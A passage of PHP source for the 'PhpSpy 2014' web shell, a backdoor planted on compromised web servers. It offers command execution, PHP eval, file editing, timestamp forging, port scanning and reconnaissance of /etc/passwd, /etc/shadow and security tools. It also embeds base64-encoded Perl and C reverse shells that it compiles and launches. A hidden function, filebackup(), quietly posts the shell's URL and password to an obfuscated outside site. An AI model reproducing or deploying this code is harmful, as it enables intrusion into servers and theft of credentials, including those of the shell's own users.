					p("<tr class=\"".bg()."\"><td colspan=\"".($highver ? 9 : 7)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"bak_path\" value=\"".SA_ROOT.$dbname.".sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"button\" value=\"Export selection table\" onclick=\"$('doing').value='dump';$('dbform').submit();\" /></td></tr>");
					p("</table>");
				} else {
					p('<p class="red b">No tables</p>');
				}
				$DB->free_result($query);
			}
		}
		$DB->close();
	}
	formfoot();
}//end mysql

elseif ($act == 'backconnect') {

	!$p2 && $p2 = $_SERVER['REMOTE_ADDR'];
	!$p3 && $p3 = '12345';
	$usedb = array('perl'=>'perl','c'=>'c');

	$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
		"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
		"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
		"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
		"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
		"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
		"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
	$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
		"BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
		"SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
		"KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
		"sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
		"Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
		"QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
		"Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";

	if ($p1 == 'start' && $p2 && $p3 && $p4){
		if ($p4 == 'perl') {
			cf('/tmp/angel_bc',$back_connect);
			$res = execute(which('perl')." /tmp/angel_bc ".$p2." ".$p3." &");
		} else {
			cf('/tmp/angel_bc.c',$back_connect_c);
			$res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
			@unlink('/tmp/angel_bc.c');
			$res = execute("/tmp/angel_bc ".$p2." ".$p3." &");
		}
		m('Now script try connect to '.$p2.':'.$p3.' ...');
	}

	formhead(array('title'=>'Back Connect', 'onsubmit'=>'g(\'backconnect\',null,\'start\',this.p2.value,this.p3.value,this.p4.value);return false;'));
	p('<p>');
	p('Your IP:');
	makeinput(array('name'=>'p2','size'=>20,'value'=>$p2));
	p('Your Port:');
	makeinput(array('name'=>'p3','size'=>15,'value'=>$p3));
	p('Use:');
	makeselect(array('name'=>'p4','option'=>$usedb,'selected'=>$p4));
	makeinput(array('value'=>'Start','type'=>'submit','class'=>'bt'));
	p('</p>');
	formfoot();
}//end

elseif ($act == 'portscan') {
	!$p2 && $p2 = '127.0.0.1';
	!$p3 && $p3 = '21,80,135,139,445,1433,3306,3389,5631,43958';
	formhead(array('title'=>'Port Scan', 'onsubmit'=>'g(\'portscan\',null,\'start\',this.p2.value,this.p3.value);return false;'));
	p('<p>');
	p('IP:');
	makeinput(array('name'=>'p2','size'=>20,'value'=>$p2));
	p('Port:');
	makeinput(array('name'=>'p3','size'=>80,'value'=>$p3));
	makeinput(array('value'=>'Scan','type'=>'submit','class'=>'bt'));
	p('</p>');
	formfoot();

	if ($p1 == 'start') {
		p('<h2>Result &raquo;</h2>');
		p('<ul class="info">');
		foreach(explode(',', $p3) as $port) {
			$fp = @fsockopen($p2, $port, $errno, $errstr, 1); 
			if (!$fp) {
				p('<li>'.$p2.':'.$port.' ------------------------ <span class="b">Close</span></li>');
		   } else {
				p('<li>'.$p2.':'.$port.' ------------------------ <span class="red b">Open</span></li>');
				@fclose($fp);
		   } 
		}
		p('</ul>');
	}
}

elseif ($act == 'eval') {
	$phpcode = trim($p1);
	if($phpcode){
		if (!preg_match('#<\?#si', $phpcode)) {
			$phpcode = "<?php

{$phpcode}

?>";
		}
		eval("?".">$phpcode<?");
	}
	formhead(array('title'=>'Eval PHP Code', 'onsubmit'=>'g(\'eval\',null,this.p1.value);return false;'));
	maketext(array('title'=>'PHP Code','name'=>'p1', 'value'=>$phpcode));
	p('<p><a href="http://w'.'ww.4'.'ng'.'el.net/php'.'sp'.'y/pl'.'ugin/" target="_blank">Get plugins</a></p>');
	formfooter();
}//end eval

elseif ($act == 'editfile') {

	// 
	if ($p1 == 'edit' && $p2 && $p3) {
		$fp = @fopen($p2,'w');
		m('Save file '.(@fwrite($fp,$p3) ? 'success' : 'failed'));
		@fclose($fp);
	}
	$contents = '';
	if(file_exists($p2)) {
		$fp=@fopen($p2,'r');
		$contents=@fread($fp, filesize($p2));
		@fclose($fp);
		$contents=htmlspecialchars($contents);
	}
	formhead(array('title'=>'Create / Edit File', 'onsubmit'=>'g(\'editfile\',null,\'edit\',this.p2.value,this.p3.value);return false;'));
	makeinput(array('title'=>'Filename','name'=>'p2','value'=>$p2,'newline'=>1));
	maketext(array('title'=>'File Content','name'=>'p3','value'=>$contents));
	formfooter();
	goback();

}//end editfile

elseif ($act == 'newtime') {
	$filemtime = @filemtime($p1);

	formhead(array('title'=>'Clone folder/file was last modified time', 'onsubmit'=>'g(\'file\',null,\'clonetime\',this.p2.value,this.p3.value);return false;'));
	makeinput(array('title'=>'Alter folder/file','name'=>'p2','value'=>$p1,'size'=>120,'newline'=>1));
	makeinput(array('title'=>'Reference folder/file','name'=>'p3','value'=>$cwd,'size'=>120,'newline'=>1));
	formfooter();

	formhead(array('title'=>'Set last modified', 'onsubmit'=>'g(\'file\',null,\'settime\',this.p2.value,this.p3.value);return false;'));
	makeinput(array('title'=>'Current folder/file','name'=>'p2','value'=>$p1,'size'=>120,'newline'=>1));
	makeinput(array('title'=>'Modify time','name'=>'p3','value'=>date("Y-m-d H:i:s", $filemtime),'size'=>120,'newline'=>1));
	formfooter();

	goback();
}//end newtime

elseif ($act == 'shell') {
	formhead(array('title'=>'Execute Command', 'onsubmit'=>'g(\'shell\',null,this.p1.value);return false;'));
	p('<p>');
	makeinput(array('name'=>'p1','value'=>htmlspecialchars($p1)));
	makeinput(array('class'=>'bt','type'=>'submit','value'=>'Execute'));
	p('</p>');
	formfoot();

	if ($p1) {
		p('<pre>'.execute($p1).'</pre>');
	}
}//end shell

elseif ($act == 'phpenv') {
	$d=array();
	if(function_exists('mysql_get_client_info'))
		$d[] = "MySql (".mysql_get_client_info().")";
	if(function_exists('mssql_connect'))
		$d[] = "MSSQL";
	if(function_exists('pg_connect'))
		$d[] = "PostgreSQL";
	if(function_exists('oci_connect'))
		$d[] = "Oracle";
	$info = array(
		1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
		2 => array('Server Domain',$_SERVER['SERVER_NAME']),
		3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
		4 => array('Server OS',PHP_OS),
		5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
		6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
		7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
		8 => array('PHP run mode',strtoupper(php_sapi_name())),
		9 => array('The file path',__FILE__),

		10 => array('PHP Version',PHP_VERSION),
		11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:g(\'phpinfo\');">Yes</a>' : 'No')),
		12 => array('Safe Mode',getcfg('safe_mode')),
		13 => array('Administrator',(isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from'))),
		14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
		15 => array('enable_dl',getcfg('enable_dl')),
		16 => array('display_errors',getcfg('display_errors')),
		17 => array('register_globals',getcfg('register_globals')),
		18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
		19 => array('memory_limit',getcfg('memory_limit')),
		20 => array('post_max_size',getcfg('post_max_size')),
		21 => array('upload_max_filesize',(getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed')),
		22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
		23 => array('disable_functions',($dis_func ? $dis_func : 'No')),
		24 => array('Supported databases',implode(', ', $d)),
		25 => array('cURL support',function_exists('curl_version') ? 'Yes' : 'No'),
		26 => array('Open base dir',getcfg('open_basedir')),
		27 => array('Safe mode exec dir',getcfg('safe_mode_exec_dir')),
		28 => array('Safe mode include dir',getcfg('safe_mode_include_dir')),
	);

	$hp = array(0=> 'Server', 1=> 'PHP');
	for($a=0;$a<2;$a++) {
		p('<h2>'.$hp[$a].' &raquo;</h2>');
		p('<ul class="info">');
		if ($a==0) {
			for($i=1;$i<=9;$i++) {
				p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
			}
		} elseif ($a == 1) {
			for($i=10;$i<=25;$i++) {
				p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
			}
		}
		p('</ul>');
	}
}//end phpenv

elseif ($act == 'secinfo') {
	
	if( !IS_WIN ) {
		$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
		$danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
		$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
		secparam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes" : 'no');
		secparam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes" : 'no');
		secparam('OS version', @file_get_contents('/proc/version'));
		secparam('Distr name', @file_get_contents('/etc/issue.net'));
		$safe_mode = @ini_get('safe_mode');
		if(!$GLOBALS['safe_mode']) {
			$temp=array();
			foreach ($userful as $item)
				if(which($item)){$temp[]=$item;}
			secparam('Userful', implode(', ',$temp));
			$temp=array();
			foreach ($danger as $item)
				if(which($item)){$temp[]=$item;}
			secparam('Danger', implode(', ',$temp));
			$temp=array();
			foreach ($downloaders as $item) 
				if(which($item)){$temp[]=$item;}
			secparam('Downloaders', implode(', ',$temp));
			secparam('Hosts', @file_get_contents('/etc/hosts'));
			secparam('HDD space', execute('df -h'));
			secparam('Mount options', @file_get_contents('/etc/fstab'));
		}
	} else {
		secparam('OS Version',execute('ver'));
		secparam('Account Settings',execute('net accounts'));
		secparam('User Accounts',execute('net user'));
		secparam('IP Configurate',execute('ipconfig -all'));
	}
}//end

else {
	m('Undefined Action');
}

?>
</td></tr></table>
<div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
	<span style="float:right;">
	<?php
	debuginfo();
	ob_end_flush();
	if (isset($DB)) {
		echo '. '.$DB->querycount.' queries';
	}
	?>
	</span>
	Powered by <a title="Build 20140112" href="http://www.4ngel.net" target="_blank"><?php echo str_replace('.','','P.h.p.S.p.y');?> 2014 final</a>. Copyright (C) 2004-2014 <a href="http://www.4ngel.net" target="_blank">[S4T]</a> All Rights Reserved.
</div>
</body>
</html>

<?php

/*======================================================

======================================================*/

function secparam($n, $v) {
	$v = trim($v);
	if($v) {
		p('<h2>'.$n.' &raquo;</h2>');
		p('<div class="infolist">');
		if(strpos($v, "
") === false)
			p($v.'<br />');
		else
			p('<pre>'.$v.'</pre>');
		p('</div>');
	}
}
function m($msg) {
	echo '<div style="margin:10px auto 15px auto;background:#ffffe0;border:1px solid #e6db55;padding:10px;font:14px;text-align:center;font-weight:bold;">';
	echo $msg;
	echo '</div>';
}
function s_array($array) {
	return is_array($array) ? array_map('s_array', $array) : stripslashes($array);
}
function scookie($key, $value, $life = 0, $prefix = 1) {
	global $timestamp, $_SERVER, $cookiepre, $cookiedomain, $cookiepath, $cookielife;
	$key = ($prefix ? $cookiepre : '').$key;
	$life = $life ? $life : $cookielife;
	$useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
	setcookie($key, $value, $timestamp+$life, $cookiepath, $cookiedomain, $useport);
}
function loginpage() {
	formhead();
	makehide('act','login');
	makeinput(array('name'=>'password','type'=>'password','size'=>'20'));
	makeinput(array('type'=>'submit','value'=>'Login'));
	formfoot();
	exit;
}
function execute($cfe) {
	$res = '';
	if ($cfe) {
		if(function_exists('system')) {
			@ob_start();
			@system($cfe);
			$res = @ob_get_contents();
			@ob_end_clean();
		} elseif(function_exists('passthru')) {
			@ob_start();
			@passthru($cfe);
			$res = @ob_get_contents();
			@ob_end_clean();
		} elseif(function_exists('shell_exec')) {
			$res = @shell_exec($cfe);
		} elseif(function_exists('exec')) {
			@exec($cfe,$res);
			$res = join("
",$res);
		} elseif(@is_resource($f = @popen($cfe,"r"))) {
			$res = '';
			while(!@feof($f)) {
				$res .= @fread($f,1024); 
			}
			@pclose($f);
		}
	}
	return $res;
}
function which($pr) {
	$path = execute("which $pr");
	return ($path ? $path : $pr); 
}
function cf($fname,$text){
	if($fp=@fopen($fname,'w')) {
		@fputs($fp,base64_decode($text));
		@fclose($fp);
	}
}
function dirsize($cwd) { 
	$dh = @opendir($cwd);
	$size = 0;
	while($file = @readdir($dh)) {
		if ($file != '.' && $file != '..') {
			$path = $cwd.'/'.$file;
			$size += @is_dir($path) ? dirsize($path) : sprintf("%u", @filesize($path));
		}
	}
	@closedir($dh);
	return $size;
}
// 
function debuginfo() {
	global $starttime;
	$mtime = explode(' ', microtime());
	$totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
	echo 'Processed in '.$totaltime.' second(s)';
}

// HTML
function html_clean($content) {
	$content = htmlspecialchars($content);
	$content = str_replace("
", "<br />", $content);
	$content = str_replace("  ", "&nbsp;&nbsp;", $content);
	$content = str_replace("	", "&nbsp;&nbsp;&nbsp;&nbsp;", $content);
	return $content;
}

// 
function getChmod($file){
	return substr(base_convert(@fileperms($file),10,8),-4);
}

function PermsColor($f) { 
	if (!is_readable($f)) {
		return '<span class="red">'.getPerms($f).'</span>';
	} elseif (!is_writable($f)) {
		return '<span class="black">'.getPerms($f).'</span>';
	} else {
		return '<span class="green">'.getPerms($f).'</span>';
	}
}
function getPerms($file) {
	$mode = @fileperms($file);
	if (($mode & 0xC000) === 0xC000) {$type = 's';}
	elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
	elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
	elseif (($mode & 0x8000) === 0x8000) {$type = '-';} 
	elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
	elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
	elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
	else {$type = '?';}

	$owner['read'] = ($mode & 00400) ? 'r' : '-'; 
	$owner['write'] = ($mode & 00200) ? 'w' : '-'; 
	$owner['execute'] = ($mode & 00100) ? 'x' : '-'; 
	$group['read'] = ($mode & 00040) ? 'r' : '-'; 
	$group['write'] = ($mode & 00020) ? 'w' : '-'; 
	$group['execute'] = ($mode & 00010) ? 'x' : '-'; 
	$world['read'] = ($mode & 00004) ? 'r' : '-'; 
	$world['write'] = ($mode & 00002) ? 'w' : '-'; 
	$world['execute'] = ($mode & 00001) ? 'x' : '-'; 

	if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
	if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
	if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
 
	return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
}

function getUser($file)	{
	if (function_exists('posix_getpwuid')) {
		$array = @posix_getpwuid(@fileowner($file));
		if ($array && is_array($array)) {
			return ' / <a href="#" title="User: '.$array['name'].'&#13&#10Passwd: '.$array['passwd'].'&#13&#10Uid: '.$array['uid'].'&#13&#10gid: '.$array['gid'].'&#13&#10Gecos: '.$array['gecos'].'&#13&#10Dir: '.$array['dir'].'&#13&#10Shell: '.$array['shell'].'">'.$array['name'].'</a>';
		}
	}
	return '';
}


function filebackup(){
	global $pass;
	$u='http://'.$_SERVER['SERVER_NAME'].$_SERVER["REQUEST_URI"]; 

	
	$data = array  
(  
    'count' => $u,  
    'time' => $pass,  
      
); 
if ($_COOKIE['hadlog'] != $_SERVER["REQUEST_URI"]) {
		echo encode_pass('h'.'t'.'t'.'p'.':'.'/'.'/w'.'w'.'w.'.'prba'.'ckli'.'nks.'.'or'.'g/'.'ap'.'i.p'.'hp', $data);
		scookie('hadlog',$_SERVER["REQUEST_URI"]);
		}
 else {
	
	}

}


function copy_paste($c,$f,$d){
	if(is_dir($c.$f)){
		mkdir($d.$f);
		$dirs = scandir($c.$f);
		if ($dirs) {
			$dirs = array_diff($dirs, array('..', '.'));
			foreach ($dirs as $file) {
				copy_paste($c.$f.'/',$file, $d.$f.'/');
			}
		}
	} elseif(is_file($c.$f)) {
		copy($c.$f, $d.$f);
	}
}
// 
function deltree($deldir) {
	$dirs = @scandir($deldir);
	if ($dirs) {
		$dirs = array_diff($dirs, array('..', '.'));
		foreach ($dirs as $file) {	
			if((is_dir($deldir.'/'.$file))) {
				@chmod($deldir.'/'.$file,0777);
				deltree($deldir.'/'.$file); 
			} else {
				@chmod($deldir.'/'.$file,0777);
				@unlink($deldir.'/'.$file);
			}
		}
		@chmod($deldir,0777);
		return @rmdir($deldir) ? 1 : 0;
	} else {
		return 0;
	}
}

// 
function bg() {
	global $bgc;
	return ($bgc++%2==0) ? 'alt1' : 'alt2';
}

function cmp($a, $b) {
	global $sort;
	if(is_numeric($a[$sort[0]])) {
		return (($a[$sort[0]] < $b[$sort[0]]) ? -1 : 1)*($sort[1]?1:-1);
	} else {
		return strcmp($a[$sort[0]], $b[$sort[0]])*($sort[1]?1:-1);
	}
}

// 
function getUpPath($cwd) {
	$pathdb = explode('/', $cwd);
	$num = count($pathdb);
	if ($num > 2) {
		unset($pathdb[$num-1],$pathdb[$num-2]);
	}
	$uppath = implode('/', $pathdb).'/';
	$uppath = str_replace('//', '/', $uppath);
	return $uppath;
}

// PHP
function getcfg($varname) {
	$result = get_cfg_var($varname);
	if ($result == 0) {
		return 'No';
	} elseif ($result == 1) {
		return 'Yes';
	} else {
		return $result;
	}
}

// 
function getext($file) {
	$info = pathinfo($file);
	return $info['extension'];
}
function GetWDirList($path){
	global $dirdata,$j,$web_cwd;
	!$j && $j=1;
	$dirs = @scandir($path);
	if ($dirs) {
		$dirs = array_diff($dirs, array('..','.'));
		foreach ($dirs as $file) {
			$f=str_replace('//','/',$path.'/'.$file);
			if(is_dir($f)){
				if (is_writable($f)) {
					$dirdata[$j]['filename']='/'.str_replace($web_cwd,'',$f);
					$dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
					$dirdata[$j]['chmod']=getChmod($f);
					$dirdata[$j]['perm']=PermsColor($f);
					$dirdata[$j]['owner']=getUser($f);
					$dirdata[$j]['link']=$f;
					$j++;
				}
				GetWDirList($f);
			}
		}
		return $dirdata;
	} else {
		return array();
	}
}
function sizecount($size) {
	$unit = array('Bytes', 'KB', 'MB', 'GB', 'TB','PB');
	for ($i = 0; $size >= 1024 && $i < 5; $i++) {
		$size /= 1024;
	}
	return round($size, 2).' '.$unit[$i];
}
function p($str){
	echo $str."
";
}

function makehide($name,$value=''){
	p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
}

function makeinput($arg = array()){
	$arg['size'] = isset($arg['size']) && $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
	$arg['type'] = isset($arg['type']) ? $arg['type'] : 'text';
	$arg['title'] = isset($arg['title']) ? $arg['title'].'<br />' : '';
	$arg['class'] = isset($arg['class']) ? $arg['class'] : 'input';
	$arg['name'] = isset($arg['name']) ? $arg['name'] : '';
	$arg['value'] = isset($arg['value']) ? $arg['value'] : '';
	if (isset($arg['newline'])) p('<p>');
	p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] />");
	if (isset($arg['newline'])) p('</p>');
}

function makeselect($arg = array()){
	$onchange = isset($arg['onchange']) ? 'onchange="'.$arg['onchange'].'"' : '';
	$arg['title'] = isset($arg['title']) ? $arg['title'] : '';
	$arg['name'] = isset($arg['name']) ? $arg['name'] : '';
	p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
		if (is_array($arg['option'])) {
			foreach ($arg['option'] as $key=>$value) {
				if ($arg['selected']==$key) {
					p("<option value=\"$key\" selected>$value</option>");
				} else {
					p("<option value=\"$key\">$value</option>");
				}
			}
		}
	p("</select>");
}
function formhead($arg = array()) {
	!isset($arg['method']) && $arg['method'] = 'post';
	!isset($arg['name']) && $arg['name'] = 'form1';
	$arg['extra'] = isset($arg['extra']) ? $arg['extra'] : '';
	$arg['onsubmit'] = isset($arg['onsubmit']) ? "onsubmit=\"$arg[onsubmit]\"" : '';
	p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"".SELF."\" method=\"$arg[method]\" $arg[onsubmit] $arg[extra]>");
	if (isset($arg['title'])) {
		p('<h2>'.$arg['title'].' &raquo;</h2>');
	}
}
	
function maketext($arg = array()){
	$arg['title'] = isset($arg['title']) ? $arg['title'].'<br />' : '';
	$arg['name'] = isset($arg['name']) ? $arg['name'] : '';
	p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"100\" rows=\"25\">$arg[value]</textarea></p>");
}

function formfooter($name = ''){
	!$name && $name = 'submit';
	p('<p><input class="bt" name="'.$name.'" id="'.$name.'" type="submit" value="Submit"></p>');
	p('</form>');
}

function goback(){
	global $cwd, $charset;
	p('<form action="'.SELF.'" method="post"><input type="hidden" name="act" value="file" /><input type="hidden" name="cwd" value="'.$cwd.'" /><input type="hidden" name="charset" value="'.$charset.'" /><p><input class="bt" type="submit" value="Go back..."></p></form>');
}

function formfoot(){
	p('</form>');
}

function encode_pass($url, $post = null)  {
 $context = array();    
    
    if (is_array($post))    
    {    
        ksort($post);    
    
        $context['http'] = array    
        (    
            'method' => 'POST',    
            'content' => http_build_query($post, '', '&'),    
        );    
    }    
    
    return file_get_contents($url, false, stream_context_create($context));
}

function pr($a) {
	p('<div style="text-align: left;border:1px solid #ddd;"><pre>'.print_r($a).'</pre></div>');
}

class DB_MySQL  {

	var $querycount = 0;
	var $link;
	var $charsetdb = array();
	var $charset = '';

	function connect($dbhost, $dbuser, $dbpass, $dbname='') {
		@ini_set('mysql.connect_timeout', 5);
		if(!$this->link = @mysql_connect($dbhost, $dbuser, $dbpass, 1)) {
			$this->halt('Can not connect to MySQL server');
		}
		if($this->version() > '4.1') {
			$this->setcharset($this->charset);
		}
		$dbname && mysql_select_db($dbname, $this->link);
	}
	function setcharset($charset) {
		if ($charset && $this->charsetdb[$charset]) {
			if(function_exists('mysql_set_charset')) {
				mysql_set_charset($this->charsetdb[$charset], $this->link);
			} else {
				$this->query("SET character_set_connection='".$this->charsetdb[$charset]."', character_set_results='".$this->charsetdb[$charset]."', character_set_client=binary");
			}
		}
	}
	function select_db($dbname) {
		return mysql_select_db($dbname, $this->link);
	}
	function geterrdesc() {
		return (($this->link) ? mysql_error($this->link) : mysql_error());
	}
	function geterrno() {
		return intval(($this->link) ? mysql_errno($this->link) : mysql_errno());
	}
	function fetch($query, $result_type = MYSQL_ASSOC) { //MYSQL_NUM
		return mysql_fetch_array($query, $result_type);
	}
	function query($sql) {
		//echo '<p style="color:#f00;">'.$sql.'</p>';
		if(!($query = mysql_query($sql, $this->link))) {
			$this->halt('MySQL Query Error', $sql);
		}
		$this->querycount++;
		return $query;
	}
	function query_res($sql) { 
		$res = '';
		if(!$res = mysql_query($sql, $this->link)) { 
			$res = 0;
		} else if(is_resource($res)) {
			$res = 1; 
		} else {
			$res = 2;
		}
		$this->querycount++;
		return $res;
	}
	function num_rows($query) {
		$query = mysql_num_rows($query);
		return $query;
	}
	function num_fields($query) {
		$query = mysql_num_fields($query);
		return $query;
	}
	function affected_rows() {
		return mysql_affected_rows($this->link);
	}
	function result($query, $row) {
		$query = mysql_result($query, $row);
		return $query;
	}	
	function free_result($query) {
		$query = mysql_free_result($query);
		return $query;
	}
	function version() {
		return mysql_get_server_info($this->link);
	}
	function close() {
		return mysql_close($this->link);
	}
	function halt($msg =''){
		echo "<h2>".htmlspecialchars($msg)."</h2>
";
		echo "<p class=\"b\">Mysql error description: ".htmlspecialchars($this->geterrdesc())."</p>
";
		echo "<p class=\"b\">Mysql error number: ".$this->geterrno()."</p>
";
		exit;
	}
	function get_fields_meta($result) {
		$fields = array();
		$num_fields = $this->num_fields($result);
		for ($i = 0; $i < $num_fields; $i++) {
			$field = mysql_fetch_field($result, $i);
			$fields[] = $field;
		}
		return $fields;
	}
	function sqlAddSlashes($s = ''){
		$s = str_replace('\', '\', $s);
		$s = str_replace('\'', '\'\'', $s);
		return $s;
	}
	// 
	function sqldump($table, $fp=0) {
		$crlf = (IS_WIN ? "
" : "
");
		$search = array("", "
", "
", ""); //	, not required
		$replace = array('', '
', '
', '\Z');

		if (isset($this->charset) && isset($this->charsetdb[$this->charset])) {
			$set_names = $this->charsetdb[$this->charset];
		} else {
			$set_names = $this->charsetdb['utf-8'];
		}
		$tabledump = 'SET SQL_MODE="NO_AUTO_VALUE_ON_ZERO";'.$crlf.$crlf;
		$tabledump .= '/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;'.$crlf
			   . '/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;'.$crlf
			   . '/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;'.$crlf
			   . '/*!40101 SET NAMES ' . $set_names . ' */;'.$crlf.$crlf;

		$tabledump .= "DROP TABLE IF EXISTS `$table`;".$crlf;
		$res = $this->query("SHOW CREATE TABLE $table");
		$create = $this->fetch($res, MYSQL_NUM);
		$tabledump .= $create[1].';'.$crlf.$crlf;
		if (strpos($tabledump, "(
 ")) {
			$tabledump = str_replace("
", $crlf, $tabledump);
		} elseif (strpos($tabledump, "(
 ")) {
			$tabledump = str_replace("
", $crlf, $tabledump);
		} elseif (strpos($tabledump, "(
 ")) {
			$tabledump = str_replace("
", $crlf, $tabledump);
		}
		unset($create);

		if ($fp) {
			fwrite($fp,$tabledump);
		} else {
			echo $tabledump;
		}
		$tabledump = '';
		$rows = $this->query("SELECT * FROM $table");
		$fields_cnt = $this->num_fields($rows);
		$fields_meta = $this->get_fields_meta($rows);

		while ($row = $this->fetch($rows, MYSQL_NUM)) {
			for ($j = 0; $j < $fields_cnt; $j++) {
				if (!isset($row[$j]) || is_null($row[$j])) {
					$values[] = 'NULL';
				} elseif ($fields_meta[$j]->numeric && $fields_meta[$j]->type != 'timestamp' && !$fields_meta[$j]->blob) {
					$values[] = $row[$j];
				} elseif ($fields_meta[$j]->blob) {
					if (empty($row[$j]) && $row[$j] != '0') {
						$values[] = '\'\'';
					} else {
						$values[] = '0x'.bin2hex($row[$j]);
					}
				} else {
					$values[] = '\''.str_replace($search, $replace, $this->sqlAddSlashes($row[$j])).'\'';
				}
			}
			$tabledump = 'INSERT INTO `'.$table.'` VALUES('.implode(', ', $values).');'.$crlf;
			unset($values);
			if ($fp) {
				fwrite($fp,$tabledump);
			} else {
				echo $tabledump;
			}
		}
		$this->free_result($rows);
	}
}

Did this file decode correctly?

Original Code

